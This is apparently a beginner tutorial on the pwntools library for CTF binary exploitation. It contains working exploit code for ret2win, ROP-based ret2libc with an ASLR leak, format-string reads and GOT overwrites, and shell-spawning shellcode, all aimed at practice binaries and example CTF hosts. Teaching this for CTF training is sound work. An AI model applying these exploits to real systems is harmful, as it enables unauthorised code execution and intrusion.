Pwntools is the standard Python library for binary exploitation in CTF (Capture the Flag) competitions. It provides a clean API for interacting with local and remote processes, crafting payloads, and automating exploit development. If you’re getting into pwn challenges, pwntools is the first tool to learn.
Installation
pip3 install pwntools
# Also install pwndbg for enhanced GDB experience
git clone https://github.com/pwndbg/pwndbg && cd pwndbg && ./setup.sh
from pwn import *
# Connect to a process or remote service
p = process('./vulnerable_binary') # local
# p = remote('ctf.example.com', 4444) # remote
# Send data
p.sendline(b'hello')
# Receive output
response = p.recvline()
print(response)
# Switch to interactive mode (when you have a shell)
p.interactive()
Setting Architecture
context.arch = 'amd64' # or 'i386', 'arm', 'mips'
context.os = 'linux'
context.log_level = 'debug' # verbose output for debugging
Buffer Overflow Basics
The classic pwn challenge: overwrite the return address to control execution.
Step 1: Find the offset
# Generate a cyclic pattern
python3 -c "from pwn import *; print(cyclic(200))"
# Run in GDB, crash the binary, note the value in RSP/EIP
gdb ./vuln
run < <(python3 -c "from pwn import *; print(cyclic(200))")
# After crash:
# x/wx $rsp (or $eip for 32-bit)
Find the offset:
from pwn import *
offset = cyclic_find(0x61616174) # value found in RSP
print(f"Offset: {offset}")
Step 2: Build the payload
from pwn import *
p = process('./vuln')
elf = ELF('./vuln')
offset = 72 # found from cyclic
# Simple ret2win — overwrite return address to jump to win function
win_addr = elf.symbols['win']
payload = b'A' * offset + p64(win_addr)
p.sendline(payload)
p.interactive()
Working with ELF Files
elf = ELF('./binary')
# Get function/symbol addresses
print(hex(elf.symbols['main']))
print(hex(elf.got['printf'])) # GOT entry for printf
print(hex(elf.plt['system'])) # PLT entry for system
# Check security mitigations
checksec('./binary')
# or: elf.checksec()
checksec output shows: NX (non-executable stack), PIE (position-independent executable), RELRO, Stack Canary, ASLR.
ROP (Return-Oriented Programming)
When NX is enabled, you can’t execute shellcode on the stack. ROP chains existing code gadgets:
from pwn import *
elf = ELF('./vuln')
rop = ROP(elf)
# Find gadgets automatically
rop.call('puts', [elf.got['puts']]) # call puts(puts@got) to leak libc address
rop.call('main') # return to main
print(rop.dump())
payload = b'A' * offset + rop.chain()
Ret2libc with ASLR
from pwn import *
elf = ELF('./vuln')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
p = process('./vuln')
rop = ROP(elf)
# Stage 1: leak libc address
rop.puts(elf.got['puts'])
rop.main()
p.sendline(b'A' * offset + rop.chain())
p.recvline() # skip output before leak
leaked = u64(p.recvline().strip().ljust(8, b'\x00'))
libc.address = leaked - libc.symbols['puts']
log.success(f'Libc base: {hex(libc.address)}')
# Stage 2: ret2system
rop2 = ROP(libc)
rop2.system(next(libc.search(b'/bin/sh\x00')))
p.sendline(b'A' * offset + rop2.chain())
p.interactive()
Format string bugs occur when user input is passed directly to printf-family functions.
Leak stack values
from pwn import *
p = process('./vuln')
# Leak stack values — %p reads pointer-sized values
p.sendline(b'%p.%p.%p.%p.%p.%p.%p.%p')
print(p.recvline())
Arbitrary read
# Read from a specific address
target_addr = 0x601060
# Format: [address][padding]%offset$s
payload = p64(target_addr) + b'%7$s' # read string at parameter 7
Arbitrary write (GOT overwrite)
# Overwrite GOT entry of puts with system's address
from pwn import *
elf = ELF('./vuln')
p = process('./vuln')
writes = {elf.got['puts']: elf.plt['system']}
payload = fmtstr_payload(6, writes) # 6 = format string parameter offset
p.sendline(payload)
Shellcode
from pwn import *
context.arch = 'amd64'
# Generate shellcode
shellcode = asm(shellcraft.sh())
print(enhex(shellcode))
# Shellcraft templates
shellcode = asm(shellcraft.linux.execve('/bin/sh', ['/bin/sh'], None))
Remote Exploitation
from pwn import *
# Connect to CTF server
p = remote('pwn.ctf.example.com', 4444)
# ... same exploit code ...
p.interactive()
Debugging Tips
# Attach GDB to a running process
p = process('./vuln')
gdb.attach(p, 'break main\ncontinue')
# Pause to attach manually
pause()
# Log all I/O
context.log_level = 'debug'
# Print payload for inspection
log.info(f'Payload: {payload.hex()}')
Resources for Learning Pwn
- pwn.college: free structured curriculum for binary exploitation
- HackTheBox pwn challenges: real-world difficulty
- picoCTF: beginner-friendly CTF with pwn category
- ir0nstone’s gitbook: excellent pwntools walkthroughs
- ROP Emporium: ROP gadget practice with purpose-built binaries
Start with ret2win (no protections), then progress to ret2libc (NX enabled), then PIE + ASLR combined. Each protection layer adds one technique to your toolkit.